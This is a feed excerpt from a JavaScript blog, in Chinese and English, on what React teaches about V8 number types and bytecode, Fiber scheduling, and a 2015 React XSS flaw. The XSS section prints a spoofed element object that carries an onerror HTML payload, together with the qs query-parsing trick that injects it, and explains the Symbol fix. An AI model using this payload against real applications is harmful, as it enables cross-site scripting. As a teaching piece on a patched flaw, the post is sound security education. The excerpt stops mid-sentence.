class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這一切都跟 V8 底層的運作以及一個 bug 有關。</p><p>針對這件事情，其實 V8 自己有一篇部落格文章：<a href="https://v8.dev/blog/react-cliff">The story of a V8 performance cliff in React</a>，裡面講的已經很好了，麻煩自己去讀這篇文章，或是跟 AI 一起看，我就不再重複一次，底下只講結論跟重點。</p><p>首先，儘管我們都知道在 JavaScript 的規格中，<a href="https://blog.huli.tw/2022/02/25/javascript-how-many-types/#6-number">所有的數字都是 double</a>，但是 JavaScript 引擎在實作時可不一定，畢竟如果真的每個數字都存成 64bit 的 double，既會有空間問題也有效能問題，整數做加減也會是浮點數運算，誰受得了。</p><p>因此，在 V8 引擎中，其實數字還是有分兩種，一種是 32bit 的 int 叫做 small integer，簡稱 Smi，而另外一種就真的是浮點數了，叫做 HeapNumber，兩種存的位置是不同的，浮點數要存到 heap 去。</p><p>而為了幫 object 做一些優化，因此 object 在儲存時，會關聯到一個叫 shape 的東西，類似於 object 的 metadata，來存每個值的 type 以及 offset，同樣 interface 的 object 會共享同一個 shape。</p><p>在 object value 的型別改變時，這個 shape 也會一起跟著變，例如說從 Smi 變成 double，就會產生一個新的 shape。</p><p>而 V8 的這個 bug 簡單來講就是在 React profiler 中一開始會把某些值初始化成 0，型別是 Smi，接著用 <code>Object.preventExtensions</code> 來阻止新增新的屬性，然後把這個值改成浮點數（<code>performance.now()</code> 的回傳值）。</p><p>這樣的行為讓 V8 壞掉，不知道該怎麼處理 shape 的改變，於是就新增了一個全新的 shape。而且不只針對這一個 object，是所有類似的 object 都會，都無法共享 shape，而是每人有一個自己的。</p><p>儘管大多數人都不會察覺這種底層的差別，但因為 React 在測試時 node 數量很多，當基數放大後就能察覺到差異，演變成了一個性能問題。</p><p>雖然 V8 把 bug 修掉，所以現在不會有這問題了，但是 React 那邊也修了一版，例如說剛提到的 NaN，會設置成 NaN 是因為它底層是浮點數而不是 Smi，而現今的版本之所以是 -0 也是一樣的原因，-0 是浮點數，0 是 Smi。</p><p>當初始值跟後來的值都是浮點數時，就不會有這個 shape 改變的問題，也就不會碰到這個 V8 bug。</p><p>但是，你有沒有想過要怎麼知道 NaN 跟 -0 是浮點數呢？</p><h3><span id="從-v8-bytecode-看底層型別">從 V8 bytecode 看底層型別</span></h3><p>除了翻規格以外，把程式碼編譯成 V8 bytecode 其實是個很好的方法，例如說底下的函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> x <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token operator">/</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span><span class="token punctuation">&#125;</span><span class="token constant">AAAAA</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我用指令 <code>node --print-bytecode test.js &gt; out</code> 編譯後，得出的結果為：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">[</span>generated bytecode <span class="token keyword">for</span> <span class="token keyword">function</span><span class="token operator">:</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token number">0x31bb2f7de971</span> <span class="token operator">&lt;</span>SharedFunctionInfo <span class="token constant">AAAAA</span><span class="token operator">></span><span class="token punctuation">)</span><span class="token punctuation">]</span>Bytecode length<span class="token operator">:</span> <span class="token number">41</span>Parameter count <span class="token number">1</span>Register count <span class="token number">2</span>Frame size <span class="token number">16</span>Bytecode age<span class="token operator">:</span> <span class="token number">0</span>   <span class="token number">62</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df776</span> @    <span class="token number">0</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df778</span> @    <span class="token number">2</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df779</span> @    <span class="token number">3</span> <span class="token operator">:</span> 0c                LdaZero         <span class="token number">0x31bb2f7df77a</span> @    <span class="token number">4</span> <span class="token operator">:</span> c3                Star1   <span class="token number">62</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77b</span> @    <span class="token number">5</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">00</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>   <span class="token number">73</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77f</span> @    <span class="token number">9</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df781</span> @   <span class="token number">11</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df782</span> @   <span class="token number">12</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">00</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df784</span> @   <span class="token number">14</span> <span class="token operator">:</span> c3                Star1   <span class="token number">73</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df785</span> @   <span class="token number">15</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">02</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>   <span class="token number">85</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df789</span> @   <span class="token number">19</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78b</span> @   <span class="token number">21</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df78c</span> @   <span class="token number">22</span> <span class="token operator">:</span> 0d <span class="token number">03</span>             LdaSmi <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78e</span> @   <span class="token number">24</span> <span class="token operator">:</span> c3                Star1   <span class="token number">85</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df78f</span> @   <span class="token number">25</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">04</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span>   <span class="token number">96</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df793</span> @   <span class="token number">29</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df795</span> @   <span class="token number">31</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df796</span> @   <span class="token number">32</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">01</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df798</span> @   <span class="token number">34</span> <span class="token operator">:</span> c3                Star1   <span class="token number">96</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df799</span> @   <span class="token number">35</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">06</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df79d</span> @   <span class="token number">39</span> <span class="token operator">:</span> 0e                LdaUndefined  <span class="token number">114</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df79e</span> @   <span class="token number">40</span> <span class="token operator">:</span> a9                ReturnConstant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span>Handler <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>Source Position <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df7a1</span> <span class="token operator">&lt;</span>ByteArray<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到 3 就是直接 <code>LdaSmi</code>，代表是 Smi，而 -0 跟 NaN 是 <code>LdaConstant</code>，從 constant pool 載入進來，而這個 constant pool 裡面則寫著：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Constant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>很明顯可以看到這兩個都是 heap number，不屬於 Smi。</p><p>如果從理論上的角度來看也行啦，NaN 不能是 Smi，是因為 NaN 本來就是 IEEE 754 裡面定義的東西，而 -0 需要那個負號，這個在 int 中也沒有，所以也只能是個 double。</p><p>但總之呢，未來若是碰到這個底層型別的疑惑，可以編譯成 bytecode 之後確認，一目瞭然。</p><h2><span id="總結">總結</span></h2><p>這篇文章中我們從 React 原始碼中學到不少東西，分別是：</p><ol><li>Symbol 的用途，可以利用沒辦法反序列化的特性，來保證外界沒辦法構造出來</li><li>各種非同步函式如 <code>requestIdleCallback</code>、<code>requestAnimationFrame</code>、<code>MessageChannel</code> 與 <code>setTimeout</code> 的觸發時機以及特性，還有 React 底層是怎麼安排 task 的。</li><li>在規格上看來所有 JavaScript 的數字都是 64bit double，但在 V8 底層其實還是有分 Smi 跟 double，可以用 bytecode 來確認型別。</li></ol><p>以上內容都來自於我自己寫的<a href="https://www.tenlong.com.tw/products/9786267757048">《JavaScript 重修就好》</a>這本書，書中還有提到更多有趣的案例，像是 Vue 又是怎麼實作非同步的，它的 <code>nextTick</code> 背後用的又是哪個函式？或是 IEEE 754 還定義了哪些東西，數字在使用時需要注意什麼地方等等。</p><p>如果有興趣的話可以找來看看，有什麼問題或建議都可以透過<a href="https://www.facebook.com/huli.blog">臉書粉專</a>聯絡我。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子去 &lt;a href=&quot;https://2025.jsdc.tw/&quot;&gt;JSDC&lt;/a&gt; 的線上前導活動分享了這個主題，想說既然都分享了，不如就寫篇文章好了。這篇文章的靈感來源以及內容其實都是來自於&lt;a href=&quot;https://www.tenlong.com.tw/products/9786267757048&quot;&gt;《JavaScript 重修就好》&lt;/a&gt;。當初寫書的時候就有參考 React 原始碼中的一些東西，這篇只是把原本分散在書中的各個 React 相關章節整理起來重寫一遍。&lt;/p&gt;
&lt;p&gt;我覺得從這些開源專案的程式碼中學一些新的概念滿有趣的，畢竟這些很多人用的框架通常碰過的 bug 也越多，學到這些問題的解法以後，也可以再回去反思以前自己學過的東西。&lt;/p&gt;
&lt;p&gt;這篇分成三個小章節：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;React 舊版的 XSS&lt;/li&gt;
&lt;li&gt;從 React Fiber 學習 event loop&lt;/li&gt;
&lt;li&gt;從 V8 bug 學習底層運作&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;開頭先聲明一下，雖然標題叫做「從 React 中學習 JavaScript 底層運作」，只有最後一個比較底層，第一個更是與底層沒什麼關係。只是我沒想到比這個更好的標題，因此就用這個了。&lt;/p&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>Learning the Core of JavaScript from React</title>
    <link href="https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/"/>
    <id>https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/</id>
    <published>2025-11-15T22:32:08.000Z</published>
    <updated>2025-11-16T08:21:56.423Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I shared this topic at the online pre-event of <a href="https://2025.jsdc.tw/">JSDC</a>. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from <a href="https://www.tenlong.com.tw/products/9786267757048">“JavaScript Relearning”</a> (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.</p><p>I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.</p><p>This article is divided into three small sections:</p><ol><li>XSS Vulnerabilities in Older Versions of React</li><li>Learning the Event Loop from React Fiber</li><li>Learning Underlying Mechanics from V8 Bugs</li></ol><span id="more"></span><h2><span id="xss-vulnerabilities-in-older-versions-of-react">XSS Vulnerabilities in Older Versions of React</span></h2><p>What security issues can you find in the following code?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>    <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"text-red"</span><span class="token operator">></span>      <span class="token operator">&lt;</span>h1<span class="token operator">></span><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span>    <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>At first glance, it seems there’s no problem, right? Isn’t it just rendering a name? In React, it automatically encodes, so even if an <code>&lt;img&gt;</code> is inserted, it won’t be parsed as a tag but will be converted to plain text, which seems fine.</p><p>If we continue to expand this code, transforming JSX into JavaScript, it would look something like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">createElement</span><span class="token punctuation">(</span>    <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token function">createElement</span><span class="token punctuation">(</span>      <span class="token string">'h1'</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      name    <span class="token punctuation">)</span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>JSX syntax is converted back to JavaScript during compilation. The old version uses <code>React.createElement</code>, while the new version has changed to <code>_jsx</code>, but regardless of how the API looks, it’s essentially a piece of JavaScript that creates an element.</p><p>After these functions are executed, they produce what is known as the virtual DOM. If we expand it into an object, it would look like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span><span class="token punctuation">,</span>      <span class="token literal-property property">children</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'h1'</span><span class="token punctuation">,</span>        <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>          <span class="token literal-property property">children</span><span class="token operator">:</span> name        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When React renders, it will render based on this object and display the name we passed in.</p><p>But the problem arises: libraries like <code>qs</code> actually support objects. For example, <code>?name[test]=1</code> would make name become <code>&#123;&quot;test&quot;: 1&#125;</code>. Therefore, although this name should appear to be a string, it can actually be an object.</p><p>Even though passing objects is usually blocked by React, have you ever thought that these components are also objects? So how does React determine whether an object is a component?</p><p>In older versions of React, this check is very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">ReactElement<span class="token punctuation">.</span><span class="token function-variable function">isValidElement</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span><span class="token punctuation">(</span>    <span class="token keyword">typeof</span> object <span class="token operator">===</span> <span class="token string">'object'</span> <span class="token operator">&amp;&amp;</span>    object <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span>    <span class="token string">'type'</span> <span class="token keyword">in</span> object <span class="token operator">&amp;&amp;</span>    <span class="token string">'props'</span> <span class="token keyword">in</span> object  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As long as there is a type and props, it is considered a React component. Therefore, if our name looks like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"div"</span><span class="token punctuation">,</span>  <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">dangerouslySetInnerHTML</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">__html</span><span class="token operator">:</span> <span class="token string">"&lt;img src=x onerror=alert()>"</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It would be treated as a React component and rendered accordingly.</p><p>In this way, this feature is successfully exploited to pretend to be a React component and render arbitrary HTML, creating an XSS vulnerability.</p><p>This vulnerability was first discovered by Daniel LeCheminan in 2015, who wrote an article: <a href="http://danlec.com/blog/xss-via-a-spoofed-react-element">XSS via a spoofed React element</a>, although the context in the original text is slightly different.</p><p>In summary, this issue caught React’s attention, leading to a discussion in an issue: <a href="https://github.com/facebook/react/issues/3473">How Much XSS Vulnerability Protection is React Responsible For? #3473</a>, and the final fix can be found here: <a href="https://github.com/facebook/react/pull/4832">Use a Symbol to tag every ReactElement #4832</a>.</p><p>The solution is: Symbol.</p><p>By adding a <code>$$typeof: Symbol.for(&#39;react.element&#39;)</code> to the React component and including this check in <code>isValidElement</code>, we can ensure that other objects cannot forge a React component.</p><p>The underlying principle is the characteristic of symbols; unlike regular objects, a symbol is only equal to the same symbol, and JSON deserialization does not support symbols. Therefore, you can only create ordinary objects and cannot create a symbol, which naturally prevents the forgery of components.</p><p>In the future, if someone asks you where symbols can be used, you can use this case as an answer.</p><p>Additionally, this is not only applicable to the frontend; the backend is the same. For example, in older versions of JavaScript ORM: <a href="https://sequelize.org/">Sequelize</a>, operators were also represented as strings, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string-property property">'$or'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>However, starting from v5, they have all been replaced with symbols, and the original strings have been deprecated:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token punctuation">&#123;</span> Op <span class="token punctuation">&#125;</span> <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'sequelize'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token punctuation">[</span>Op<span class="token punctuation">.</span>or<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// operators.ts</span><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token literal-property property">Op</span><span class="token operator">:</span> OpTypes <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token literal-property property">eq</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'eq'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">ne</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'ne'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">gte</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'gte'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">or</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'or'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">// [...]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The underlying reason is the same, which is a consideration for information security. The original PR can be found here: <a href="https://github.com/sequelize/sequelize/pull/8240">Secure operators #8240</a>.</p><p>By the way, during a live stream, someone asked, if you can create a symbol, does that mean these defenses are useless? The answer is: yes. But usually, to create a symbol, either you already have the ability to execute code, or the developer needs to add a deserializer that can create symbols, both of which are quite difficult to achieve.</p><h2><span id="learning-event-loop-from-react-fiber">Learning Event Loop from React Fiber</span></h2><p>In 2018, I wrote an article related to React Fiber: <a href="https://blog.huli.tw/2018/03/31/en/react-fiber-and-lifecycles/">A Brief Discussion on React Fiber and Its Impact on Lifecycles</a>, and the mechanism can be summed up as: “breaking large synchronous tasks into multiple asynchronous small tasks” to avoid blocking the main thread.</p><p>So how can this mechanism be implemented in JavaScript? How should these asynchronous tasks be scheduled?</p><h3><span id="react-1600-requestidlecallback">React 16.0.0 - requestIdleCallback</span></h3><p>In the earliest version of React 16.0.0, it used the browser’s built-in API: requestIdleCallback. The MDN description is:</p><blockquote><p>The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.</p></blockquote><p>After breaking the original large task into smaller tasks, <code>requestIdleCallback</code> is used to schedule the next task, allowing the browser to execute it when idle, thus not blocking the main thread.</p><h3><span id="react-1640-requestanimationframe-postmessage">React 16.4.0 - requestAnimationFrame + postMessage</span></h3><p>However, in React 16.4.0, it was replaced with a combination of <code>requestAnimationFrame</code> (hereafter referred to as rAF) and <code>postMessage</code> (this method was initially intended as a fallback for when <code>requestIdleCallback</code> was not available, but in this version, it was promoted and directly replaced <code>requestIdleCallback</code>).</p><p>In this mechanism, two types of callbacks are created: one is a callback scheduled using rAF, which is automatically triggered by the browser, and the other is a callback scheduled using <code>window.addEventListener(&#39;message&#39;, fn)</code>, triggered through <code>window.postMessage</code>.</p><p>The actual operation of this mechanism works like this: each tick below represents one event loop. We first schedule an rAF, and within it, calculate the time when the next rAF should be triggered (which is the current time + frame length, e.g., 16ms):</p><p><img src="/img/learn-advanced-javascript-from-react/p1.png" alt="rAF"></p><p>Next, call rAF and postMessage again inside to schedule the callback for the next tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p2.png" alt="rAF + postMessage"></p><p>The next step is browser render. After it finishes, it enters the next tick, and then the message handler is triggered:</p><p><img src="/img/learn-advanced-javascript-from-react/p3.png" alt="message handler"></p><p>Since the time for the next rAF to be triggered has already been calculated, the message handler can take advantage of this time (which could be around 5ms or longer) to perform 